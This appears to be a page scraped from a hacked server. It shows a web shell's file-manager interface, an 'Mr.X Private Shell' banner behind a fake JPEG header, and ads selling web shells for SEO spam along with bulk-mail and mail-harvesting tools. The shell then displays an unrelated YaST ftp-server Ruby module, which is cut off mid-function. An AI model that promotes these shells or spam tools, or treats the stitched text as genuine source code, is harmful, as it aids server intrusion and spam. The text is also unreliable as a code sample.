xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	clients/ftp-server.ycp
# Package:	Configuration of ftp-server
# Summary:	Main file
# Authors:	Jozef Uhliarik <juhliarik@suse.cz>
#
# $Id: ftp-server.ycp 27914 2006-02-13 14:32:08Z juhliarik $
#
# Main file for ftp-server configuration. Uses all other files.
module Yast
  class FtpServerClient < Client
    def main
      Yast.import "UI"

      #**
      # <h3>Configuration of ftp-server</h3>

      textdomain "ftp-server"

      # The main ()
      Builtins.y2milestone("----------------------------------------")
      Builtins.y2milestone("[ftp-server] module started")

      Yast.import "Progress"
      Yast.import "Report"
      Yast.import "Summary"
      Yast.import "String"

      Yast.include self, "ftp-server/complex.rb"

      #if (!ReadFTPService ())
      #   return nil;

      Yast.import "CommandLine"
      Yast.include self, "ftp-server/wizards.rb"
      Yast.include self, "ftp-server/wid_functions.rb"


      @cmdline_description = {
        "id"         => "ftp-server",
        # Command line help text for the Xftpd module
        "help"       => _(
          "Configuration of FTP server"
        ),
        "guihandler" => fun_ref(method(:FtpdSequence), "any ()"),
        "initialize" => fun_ref(FtpServer.method(:Read), "boolean ()"),
        "finish"     => fun_ref(FtpServer.method(:Write), "boolean ()"),
        "actions"    => {
          "show"            => {
            "handler" => fun_ref(method(:FTPdCMDShow), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _("Display settings"),
            "example" => ["show"]
          },
          "startup"         => {
            "handler" => fun_ref(method(:FTPdCMDStartup), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _("Start-up settings"),
            "example" => [
              "startup atboot",
              "startup manual",
              "startup xinetd",
              "startup xinetd startxinetd"
            ]
          },
          "chroot"          => {
            "handler" => fun_ref(method(:FTPdCMDChrooting), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Enable/disable chrooting."
            ),
            "example" => ["chroot enable", "chroot disable"]
          },
          "logging"         => {
            "handler" => fun_ref(method(:FTPdCMDLogging), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Saved log messages into the log file."
            ),
            "example" => ["logging enable", "logging disable"]
          },
          "umask"           => {
            "handler" => fun_ref(method(:FTPdCMDUmask), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Umask vsftpd: <local users>:<anonymous>, pure-ftpd: <files>:<dirs>"
            ),
            "example" => ["umask set_umask=177:077"]
          },
          "anon_dir"        => {
            "handler" => fun_ref(method(:FTPdCMDAnonDir), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Enter the existing directory for anonymous users."
            ),
            "example" => ["anon_dir set_anon_dir=/srv/ftp"]
          },
          "authen_dir"      => {
            "handler" => fun_ref(method(:FTPdCMDAuthenDir), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Enter the existing directory for authenticated users (pure-ftpd only)."
            ),
            "example" => ["authen_dir set_authen_dir=/srv/ftp"]
          },
          "port_range"      => {
            "handler" => fun_ref(method(:FTPdCMDPassPorts), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "The port range for passive connection replies"
            ),
            "example" => ["port_range set_min_port=20000 set_max_port=30000"]
          },
          "idle_time"       => {
            "handler" => fun_ref(method(:FTPdCMDIdleTime), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "The maximum idle time in minutes"
            ),
            "example" => ["idle_time set_idle_time=15"]
          },
          "max_clients_ip"  => {
            "handler" => fun_ref(method(:FTPdCMDMaxClientsIP), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "The maximum number of clients connected via IP"
            ),
            "example" => ["max_clients_ip set_max_clients=20"]
          },
          "max_clients"     => {
            "handler" => fun_ref(method(:FTPdCMDMaxClients), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "The maximum connected clients"
            ),
            "example" => ["max_clients set_max_clients=1500"]
          },
          "max_rate_authen" => {
            "handler" => fun_ref(method(:FTPdCMDMaxRateAuthen), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "The maximum data transfer rate permitted for local authenticated users (KB/s)"
            ),
            "example" => ["max_rate_authen set_max_rate=10000"]
          },
          "max_rate_anon"   => {
            "handler" => fun_ref(method(:FTPdCMDMaxRateAnon), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "The maximum data transfer rate permitted for anonymous clients (KB/s)"
            ),
            "example" => ["max_rate_anon set_max_rate=10000"]
          },
          "access"          => {
            "handler" => fun_ref(method(:FTPdCMDAccess), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _("Access permissions"),
            "example" => [
              "access anon_only",
              "access authen_only",
              "access anon_and_authen"
            ]
          },
          "anon_access"     => {
            "handler" => fun_ref(method(:FTPdCMDAnonAccess), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Access permissions for anonymous users"
            ),
            "example" => [
              "access anon_only",
              "access authen_only",
              "access anon_and_authen"
            ]
          },
          # only vsftpd
          "welcome_message" => {
            "handler" => fun_ref(method(:FTPdCMDWelMessage), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Welcome message is the text to display when someone connects to the server (vsftpd only)."
            ),
            "example" => ["welcome_message=\"hello everybody\""]
          },
          # only vsftpd
          "SSL"             => {
            "handler" => fun_ref(method(:FTPdCMDSSL), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "vsftpd supports secure connections via SSL (vsftpd only)."
            ),
            "example" => ["SSL enable", "SSL disable"]
          },
          # only vsftpd
          "TLS"             => {
            "handler" => fun_ref(method(:FTPdCMDTLS), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "vsftpd supports connections via TLS (vsftpd only)."
            ),
            "example" => ["TLS enable", "TLS disable"]
          },
          # only pure-ftp-server
          "antiwarez"       => {
            "handler" => fun_ref(method(:FTPdCMDAntiwarez), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Disallow downloading of files that were uploaded but not validated by a local admin (pure-ftpd only)."
            ),
            "example" => ["antiwarez enable", "antiwarez disable"]
          },
          # only pure-ftp-server
          "SSL_TLS"         => {
            "handler" => fun_ref(method(:FTPdCMDSSL_TLS), "boolean (map)"),
            # TRANSLATORS: CommandLine help
            "help"    => _(
              "Security settings for SSL and TLS protocol (pure-ftpd only)"
            ),
            "example" => ["SSL_TLS enable", "SSL_TLS disable", "SSL_TLS only"]
          }
        },
        "options"    => {
          "atboot"          => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Start FTP daemon in the boot process."
            )
          },
          "manual"          => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Start FTP daemon manually."
            )
          },
          "xinetd"          => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Start FTP daemon via xinetd"
            )
          },
          "startxinetd"     => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Start xinetd if it is not running."
            )
          },
          "enable"          => {
            # TRANSLATORS: CommandLine help
            "help" => _("Enable option")
          },
          "disable"         => {
            # TRANSLATORS: CommandLine help
            "help" => _("Disable option")
          },
          "set_umask"       => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _("Disable option")
          },
          "set_anon_dir"    => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Directory for anonymous users"
            )
          },
          "set_authen_dir"  => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Directory for authenticated users"
            )
          },
          "set_min_port"    => {
            "type" => "integer",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "The minimum value for port range for passive connection replies"
            )
          },
          "set_max_port"    => {
            "type" => "integer",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "The maximum value for port range for passive connection replies"
            )
          },
          "set_idle_time"   => {
            "type" => "integer",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Maximum Idle Time (in minutes)"
            )
          },
          "set_max_clients" => {
            "type" => "integer",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "The maximum connected clients"
            )
          },
          "set_max_rate"    => {
            "type" => "integer",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "The maximum data transfer rate for ftp users (KB/s)"
            )
          },
          "anon_only"       => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Access only for anonymous"
            )
          },
          "authen_only"     => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Access only for authenticated users"
            )
          },
          "anon_and_authen" => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Access for anonymous and authenticated users"
            )
          },
          "can_upload"      => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Anonymous users can upload."
            )
          },
          "create_dirs"     => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Anonymous users can create directories."
            )
          },
          #only vsftd
          "set_message"     => {
            "type" => "string",
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Welcome message is the text to display when someone connects to the server."
            )
          },
          #only vsftd
          "SSL2"            => {
            # TRANSLATORS: CommandLine help
            "help" => _("SSL version 2")
          },
          #only vsftd
          "SSL3"            => {
            # TRANSLATORS: CommandLine help
            "help" => _("SSL version 3")
          },
          #only vsftd
          "only"            => {
            # TRANSLATORS: CommandLine help
            "help" => _(
              "Refuse connections that do not use SSL/TLS security mechanisms."
            )
          }
        },
        "mappings"   => {
          "show"            => [],
          "startup"         => ["atboot", "manual", "xinetd", "startxinetd"],
          "logging"         => ["enable", "disable"],
          "chroot"          => ["enable", "disable"],
          "umask"           => ["set_umask"],
          "anon_dir"        => ["set_anon_dir"],
          "authen_dir"      => ["set_authen_dir"],
          "port_range"      => ["set_min_port", "set_max_port"],
          "idle_time"       => ["set_idle_time"],
          "max_clients_ip"  => ["set_max_clients"],
          "max_clients"     => ["set_max_clients"],
          "max_rate_authen" => ["set_max_rate"],
          "max_rate_anon"   => ["set_max_rate"],
          "access"          => ["anon_only", "authen_only", "anon_and_authen"],
          "anon_access"     => ["can_upload", "create_dirs"],
          #only vsftpd
          "welcome_message" => ["set_message"],
          #only vsftpd
          "SSL"             => ["enable", "disable"],
          #only vsftpd
          "TLS"             => ["enable", "disable"],
          #only pure-ftp-server
          "antiwarez"       => ["enable", "disable"],
          #only pure-ftp-server
          "SSL_TLS"         => [
            "enable",
            "disable",
            "only"
          ]
        }
      }

      # is this proposal or not?
      @propose = false
      @args = WFM.Args
      if Ops.greater_than(Builtins.size(@args), 0)
        if Ops.is_path?(WFM.Args(0)) && WFM.Args(0) == path(".propose")
          Builtins.y2milestone("[ftp-server] Using PROPOSE mode")
          @propose = true
        end
      end

      # main ui function
      @ret = nil

      if @propose
        @ret = FtpServerAutoSequence()
      else
        @ret = CommandLine.Run(@cmdline_description)
      end

      Builtins.y2debug("ret=%1", @ret)

      # Finish
      Builtins.y2milestone("[ftp-server] module finished")
      Builtins.y2milestone("----------------------------------------")

      deep_copy(@ret) 

      # EOF
    end

    def FTPdCMDShow(options)
      options = deep_copy(options)
      CommandLine.Print("")
      CommandLine.Print(String.UnderlinedHeader(_("Display Settings:"), 0))
      CommandLine.Print("")
      #start-up settings
      CommandLine.PrintNoCR(_("Start-Up:"))
      if GetStartedViaXinetd()
        CommandLine.Print(_("FTP daemon is started via xinetd."))
      else
        if GetEnableService()
          # TRANSLATORS: CommandLine informative text
          CommandLine.Print(_("FTP daemon is enabled in the boot process."))
        else
          # TRANSLATORS: CommandLine informative text
          CommandLine.Print(_("FTP daemon needs manual starting."))
        end
      end
      #logging settings
      CommandLine.PrintNoCR(_("Verbose Logging:"))
      if Ops.get(FtpServer.EDIT_SETTINGS, "VerboseLogging") == "YES"
        CommandLine.Print(_("Enable")) 
        #CommandLine::Print("");
      else
        CommandLine.Print(_("Disable")) 
        #CommandLine::Print("");
      end
      # chroot settings
      CommandLine.PrintNoCR(_("Chroot Everyone:"))
      if Ops.get(FtpServer.EDIT_SETTINGS, "ChrootEnable") == "YES"
        CommandLine.Print(_("Enable")) 
        #CommandLine::Print("");
      else
        CommandLine.Print(_("Disable")) 
        #CommandLine::Print("");
      end

      # UMASK settings
      if FtpServer.vsftpd_edit
        if Ops.get(FtpServer.EDIT_SETTINGS, "UmaskAnon") != ""
          CommandLine.PrintNoCR(_("Umask for Anonymous: "))
          CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "UmaskAnon"))
        else
          CommandLine.PrintNoCR(_("Umask for Anonymous:"))
          CommandLine.Print(_("Option is not set now."))
        end
        if Ops.get(FtpServer.EDIT_SETTINGS, "UmaskLocal") != ""
          CommandLine.PrintNoCR(_("Umask for Authenticated Users: "))
          CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "UmaskLocal")) 
          #CommandLine::Print("");
        else
          CommandLine.PrintNoCR(_("Umask for Authenticated Users: "))
          CommandLine.Print(_("Option is not set now.")) 
          #CommandLine::Print("");
        end
      else
        if Ops.get(FtpServer.EDIT_SETTINGS, "Umask") != ""
          CommandLine.PrintNoCR(_("Umask: "))
          CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "Umask")) 
          #CommandLine::Print("");
        else
          CommandLine.PrintNoCR(_("Umask: "))
          CommandLine.Print(_("Option is not set now.")) 
          #CommandLine::Print("");
        end
      end # end of if (FtpServer::vsftpd_edit)

      #authenticated and anonymous dirs
      if FtpServer.vsftpd_edit
        CommandLine.PrintNoCR(_("Authenticated dir: "))
        if Ops.get(FtpServer.EDIT_SETTINGS, "FtpDirLocal") != ""
          CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "FtpDirLocal"))
        else
          CommandLine.Print(_("Option is not set now."))
        end
      end

      CommandLine.PrintNoCR(_("Anonymous dir: "))
      if Ops.get(FtpServer.EDIT_SETTINGS, "FtpDirAnon") != ""
        CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "FtpDirAnon"))
      else
        CommandLine.Print(_("Option is not set now."))
      end
      # port range
      CommandLine.PrintNoCR(_("Port Range: "))
      if Ops.get(FtpServer.EDIT_SETTINGS, "PasMaxPort") != "0"
        CommandLine.PrintNoCR(Ops.get(FtpServer.EDIT_SETTINGS, "PasMinPort"))
        CommandLine.PrintNoCR(_(" - "))
        CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "PasMaxPort"))
      else
        CommandLine.Print(_("Option is not set now."))
      end

      # idle time
      CommandLine.PrintNoCR(_("Maximum Idle Time [minutes]: "))
      if Ops.get(FtpServer.EDIT_SETTINGS, "MaxIdleTime") != "0"
        CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "MaxIdleTime"))
      else
        CommandLine.Print(_("Option is not set now."))
      end

      # maximum clients per IP
      CommandLine.PrintNoCR(_("Maximum Clients per IP: "))
      if Ops.get(FtpServer.EDIT_SETTINGS, "MaxClientsPerIP") != "0"
        CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "MaxClientsPerIP"))
      else
        CommandLine.Print(_("Option is not set now."))
      end

      # maximum clients
      CommandLine.PrintNoCR(_("Maximum Number of Clients: "))
      if Ops.get(FtpServer.EDIT_SETTINGS, "MaxClientsNumber") != "0"
        CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "MaxClientsNumber"))
      else
        CommandLine.Print(_("Option is not set now."))
      end

      # max rate for authenticated users
      CommandLine.PrintNoCR(_("Maximum Rate for Authenticated Users [KB/s]: "))
      if Ops.get(FtpServer.EDIT_SETTINGS, "LocalMaxRate") != "0"
        CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "LocalMaxRate"))
      else
        CommandLine.Print(_("Option is not set now."))
      end

      # max rate for anonymous users
      CommandLine.PrintNoCR(_("Maximum Rate for Anonymous Users [KB/s]: "))
      if Ops.get(FtpServer.EDIT_SETTINGS, "AnonMaxRate") != "0"
        CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "AnonMaxRate"))
      else
        CommandLine.Print(_("Option is not set now."))
      end

      # general settings for access
      CommandLine.PrintNoCR(_("Access Allowed for: "))
      if Ops.get(FtpServer.EDIT_SETTINGS, "AnonAuthen") == "0"
        CommandLine.Print(_("Anonymous Users"))
      elsif Ops.get(FtpServer.EDIT_SETTINGS, "AnonAuthen") == "0"
        CommandLine.Print(_("Authenticated Users"))
      elsif Ops.get(FtpServer.EDIT_SETTINGS, "AnonAuthen") == "0"
        CommandLine.Print(_("Anonymous and Authenticated Users"))
      else
        CommandLine.Print(_("Option has wrong value."))
      end

      # access permissions for anonymous users
      CommandLine.PrintNoCR(_("Access Permissions for Anonymous: "))
      if Ops.get(FtpServer.EDIT_SETTINGS, "AnonReadOnly") == "NO"
        CommandLine.PrintNoCR(_("Upload enabled; "))
      else
        CommandLine.PrintNoCR(_("Upload disabled; "))
      end
      if Ops.get(FtpServer.EDIT_SETTINGS, "AnonCreatDirs") == "YES"
        CommandLine.Print(_("Create directories enabled"))
      else
        CommandLine.Print(_("Create directories disabled"))
      end

      # welcome message vsftpd only
      if FtpServer.vsftpd_edit
        CommandLine.PrintNoCR(_("Welcome message: "))
        if Ops.get(FtpServer.EDIT_SETTINGS, "Banner") != ""
          CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "Banner"))
        else
          CommandLine.Print(_("Option is not set now."))
        end

        #CommandLine::PrintNoCR(_("Security settings: "));

        # SSL options (SSL version and TLS)
        if Ops.get(FtpServer.EDIT_SETTINGS, "SSLEnable") != "YES"
          CommandLine.Print(_("SSL is disabled"))
        else
          CommandLine.Print(_("SSL is enabled"))
        end

        if Ops.get(FtpServer.EDIT_SETTINGS, "TLS") != "YES"
          CommandLine.Print(_("TLS is disabled"))
        else
          CommandLine.Print(_("TLS is enabled"))
        end
      else
        # AntiWarez option
        CommandLine.PrintNoCR(_("Antiwarez: "))
        if Ops.get(FtpServer.EDIT_SETTINGS, "AntiWarez") == "YES"
          CommandLine.Print(_("Antiwarez enabled"))
        else
          CommandLine.Print(_("Antiwarez disabled"))
        end
        # SSL/TLS settings
        CommandLine.PrintNoCR(_("SSL/TLS settings: "))
        if Ops.get(FtpServer.EDIT_SETTINGS, "SSL") == "0"
          CommandLine.Print(_("SSL/TLS disabled"))
        elsif Ops.get(FtpServer.EDIT_SETTINGS, "SSL") == "1"
          CommandLine.Print(_("SSL/TLS enabled"))
        else
          CommandLine.Print(_("Refuse connections without SSL/TLS"))
        end
      end


      CommandLine.Print("")
      false
    end


    def FTPdCMDStartup(options)
      options = deep_copy(options)
      if Ops.get(options, "atboot") != nil && Ops.get(options, "manual") != nil
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter (atboot/manual) is allowed."))
      elsif Ops.get(options, "atboot") != nil
        CommandLine.Print("")
        # TRANSLATORS: CommandLine header
        CommandLine.Print(String.UnderlinedHeader(_("Start-Up:"), 0))
        CommandLine.Print("")
        # TRANSLATORS: CommandLine progress information
        CommandLine.Print(_("Enabling FTP daemon in the boot process..."))
        CommandLine.Print("")
        SetEnableService(true)
      elsif Ops.get(options, "manual") != nil
        CommandLine.Print("")
        # TRANSLATORS: CommandLine header
        CommandLine.Print(String.UnderlinedHeader(_("Start-Up:"), 0))
        CommandLine.Print("")
        # TRANSLATORS: CommandLine progress information
        CommandLine.Print(_("Removing FTP daemon from the boot process..."))
        CommandLine.Print("")
        SetEnableService(false)
      elsif Ops.get(options, "xinetd") != nil
        CommandLine.Print("")
        # TRANSLATORS: CommandLine header
        CommandLine.Print(String.UnderlinedHeader(_("Start-Up:"), 0))
        CommandLine.Print("")
        # TRANSLATORS: CommandLine progress information
        CommandLine.Print(_("Start FTP daemon via xinetd"))
        CommandLine.Print("")
        SetStartedViaXinetd(true)
        if Ops.get(options, "startxinetd") == nil
          Ops.set(FtpServer.EDIT_SETTINGS, "StartXinetd", "NO")
        end
      end
      true
    end

    def FTPdCMDLogging(options)
      options = deep_copy(options)
      if Ops.greater_than(Builtins.size(options), 1)
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter (enable/disable) is allowed."))
      elsif Ops.get(options, "enable") != nil
        Ops.set(FtpServer.EDIT_SETTINGS, "VerboseLogging", "YES")
      elsif Ops.get(options, "disable") != nil
        Ops.set(FtpServer.EDIT_SETTINGS, "VerboseLogging", "NO")
      end #end of else if (options["show"]:nil!=nil

      nil
    end

    def FTPdCMDChrooting(options)
      options = deep_copy(options)
      if Ops.greater_than(Builtins.size(options), 1)
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter (enable/disable) is allowed."))
      elsif Ops.get(options, "enable") != nil
        Ops.set(FtpServer.EDIT_SETTINGS, "ChrootEnable", "YES")
      elsif Ops.get(options, "disable") != nil
        Ops.set(FtpServer.EDIT_SETTINGS, "ChrootEnable", "NO")
      end #end of else if (options["show"]:nil!=nil

      nil
    end



    def FTPdCMDUmask(options)
      options = deep_copy(options)
      temp = []
      CommandLine.Print(String.UnderlinedHeader(_("Umask:"), 0))
      CommandLine.Print("")
      if Ops.greater_than(Builtins.size(options), 1)
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter (show/set_umask) is allowed."))
      elsif FtpServer.vsftpd_edit
        if Ops.get(options, "set_umask") != nil
          value = Ops.get_string(options, "set_umask")
          value = Builtins.filterchars(value, "01234567:")
          if value != ""
            temp = Builtins.splitstring(value, ":")
            if Ops.greater_than(Builtins.size(temp), 1)
              CommandLine.PrintNoCR(_("Umask for Anonymous: "))
              CommandLine.Print(Ops.get(temp, 0))
              CommandLine.PrintNoCR(_("Umask for Authenticated Users: "))
              CommandLine.Print(Ops.get(temp, 1))
              CommandLine.Print("")
              Ops.set(FtpServer.EDIT_SETTINGS, "UmaskAnon", Ops.get(temp, 0))
              Ops.set(FtpServer.EDIT_SETTINGS, "UmaskLocal", Ops.get(temp, 1))
            else
              CommandLine.Error(_("Entered umask is not valid."))
              CommandLine.Print(
                _(
                  "Example of correct umask <local users>:<anonymous> (177:077)"
                )
              )
              CommandLine.Print("")
            end
          else
            CommandLine.Error(_("Entered umask is not valid."))
            CommandLine.Print(
              _("Example of correct umask <local users>:<anonymous> (177:077)")
            )
            CommandLine.Print("")
          end
        end
      else
        #part for pure-fptd
        if Ops.get(options, "set_umask") != nil
          value = Ops.get_string(options, "set_umask")
          value = Builtins.filterchars(value, "01234567:")
          if value != ""
            CommandLine.PrintNoCR(_("Umask: "))
            CommandLine.Print(value)
            CommandLine.Print("")
            Ops.set(FtpServer.EDIT_SETTINGS, "Umask", value)
          else
            CommandLine.Error(_("Entered umask is not valid."))
            CommandLine.Print(
              _("Example of correct umask <files>:<dirs> (set_umask=177:077)")
            )
            CommandLine.Print("")
          end
        end # end of if (options["set_umask"]:nil!=nil)
      end #end of if (vsftpd_edit)

      nil
    end


    def FTPdCMDAnonDir(options)
      options = deep_copy(options)
      CommandLine.Print(String.UnderlinedHeader(_("Anonymous users:"), 0))
      CommandLine.Print("")
      if Builtins.size(options) == 1
        if Ops.get(options, "set_anon_dir") != nil
          value = Ops.get_string(options, "set_anon_dir")
          if value != nil
            CommandLine.PrintNoCR(_("Anonymous directory:"))
            CommandLine.Print(value)
            CommandLine.Print("")
            Ops.set(FtpServer.EDIT_SETTINGS, "FtpDirAnon", value)
          else
            CommandLine.Error(_("Option is empty."))
            CommandLine.Print(
              _("Example of correct input set_anon_dir=/srv/ftp")
            )
            CommandLine.Print("")
          end
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter is allowed."))
        CommandLine.Print("")
      end

      nil
    end

    def FTPdCMDAuthenDir(options)
      options = deep_copy(options)
      CommandLine.Print(String.UnderlinedHeader(_("Authenticated users:"), 0))
      CommandLine.Print("")
      if FtpServer.vsftpd_edit
        if Builtins.size(options) == 1
          if Ops.get(options, "set_authen_dir") != nil
            value = Ops.get_string(options, "set_authen_dir")
            if value != nil
              CommandLine.PrintNoCR(_("Authenticated directory:"))
              CommandLine.Print(value)
              CommandLine.Print("")
              Ops.set(FtpServer.EDIT_SETTINGS, "FtpDirLocal", value)
            else
              CommandLine.Error(_("Option is empty."))
              CommandLine.Print(
                _("Example of correct input set_authen_dir=/srv/ftp")
              )
              CommandLine.Print("")
            end
          end
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Only one parameter is allowed."))
          CommandLine.Print("")
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Option is not supported in pure-ftpd server."))
        CommandLine.Print("")
      end

      nil
    end

    def FTPdCMDPassPorts(options)
      options = deep_copy(options)
      CommandLine.Print(String.UnderlinedHeader(_("Port range:"), 0))
      CommandLine.Print("")
      if Builtins.size(options) == 2
        min_port = Ops.get_integer(options, "set_min_port")
        max_port = Ops.get_integer(options, "set_max_port")
        if min_port != nil && max_port != nil
          if Ops.less_or_equal(min_port, max_port) &&
              Ops.greater_than(max_port, 0)
            Ops.set(
              FtpServer.EDIT_SETTINGS,
              "PasMinPort",
              Builtins.tostring(min_port)
            )
            Ops.set(
              FtpServer.EDIT_SETTINGS,
              "PasMaxPort",
              Builtins.tostring(max_port)
            )
            CommandLine.PrintNoCR(_("Port range for passive mode: "))
            CommandLine.PrintNoCR(
              Ops.get(FtpServer.EDIT_SETTINGS, "PasMinPort")
            )
            CommandLine.PrintNoCR(_(" - "))
            CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, "PasMaxPort"))
            CommandLine.Print("")
          else
            # TRANSLATORS: CommandLine error message
            CommandLine.Error(_("Enter minimal port < maximal port."))
            CommandLine.Print("")
          end
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Enter correct numbers."))
          CommandLine.Print("")
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only two parameters are allowed."))
        CommandLine.Print("")
      end

      nil
    end




    def CommonHandler(options, str_key_option, map_key, underline_text, result_text)
      options = deep_copy(options)
      CommandLine.Print("")
      CommandLine.Print(String.UnderlinedHeader(underline_text, 0))
      CommandLine.Print("")
      if Builtins.size(options) == 1
        result = Ops.get_integer(options, str_key_option)
        if result != nil
          Ops.set(FtpServer.EDIT_SETTINGS, map_key, Builtins.tostring(result))
          CommandLine.PrintNoCR(result_text)
          CommandLine.Print(Ops.get(FtpServer.EDIT_SETTINGS, map_key))
          CommandLine.Print("")
          return true
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Wrong value of option."))
          CommandLine.Print("")
          return false
        end
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter is allowed."))
        CommandLine.Print("")
        return false
      end
    end


    def FTPdCMDIdleTime(options)
      options = deep_copy(options)
      CommonHandler(
        options,
        "set_idle_time",
        "MaxIdleTime",
        "Maximal Idle Time [minutes]:",
        "Maximal Idle Time is "
      )
    end


    def FTPdCMDMaxClientsIP(options)
      options = deep_copy(options)
      CommonHandler(
        options,
        "set_max_clients",
        "MaxClientsPerIP",
        "Maximum Clients per IP:",
        "The Maximum Number of Clients per IP is "
      )
    end


    def FTPdCMDMaxClients(options)
      options = deep_copy(options)
      CommonHandler(
        options,
        "set_max_clients",
        "MaxClientsNumber",
        "Maximum Clients:",
        "The Maximum Number of Clients is "
      )
    end


    def FTPdCMDMaxRateAuthen(options)
      options = deep_copy(options)
      CommonHandler(
        options,
        "set_max_rate",
        "LocalMaxRate",
        "The Maximum Rate for Authenticated Users [KB/s]:",
        "The Maximum Rate for Authenticated Users is "
      )
    end

    def FTPdCMDMaxRateAnon(options)
      options = deep_copy(options)
      CommonHandler(
        options,
        "set_max_rate",
        "AnonMaxRate",
        "The Maximum Rate for Anonymous Users [KB/s]:",
        "The Maximum Rate for Anonymous Users is "
      )
    end

    def FTPdCMDAccess(options)
      options = deep_copy(options)
      CommandLine.Print("")
      CommandLine.Print(
        String.UnderlinedHeader(_("Access (Anonymous/Authenticated):"), 0)
      )
      CommandLine.Print("")
      if Builtins.size(options) == 1
        CommandLine.PrintNoCR(_("Access allowed for: "))
        if Ops.get(options, "anon_only") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, "AnonAuthen", "0")
          CommandLine.PrintNoCR(_("Anonymous users"))
        elsif Ops.get(options, "authen_only") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, "AnonAuthen", "1")
          CommandLine.PrintNoCR(_("Authenticated users"))
        elsif Ops.get(options, "anon_and_authen") != nil
          Ops.set(FtpServer.EDIT_SETTINGS, "AnonAuthen", "2")
          CommandLine.PrintNoCR(_("Anonymous and authenticated users"))
        else
          # TRANSLATORS: CommandLine error message
          CommandLine.Error(_("Unknown option."))
          CommandLine.Print("")
          return false
        end
        CommandLine.Print("")
      else
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one parameter is allowed."))
        CommandLine.Print("")
        return false
      end

      nil
    end


    def FTPdCMDAnonAccess(options)
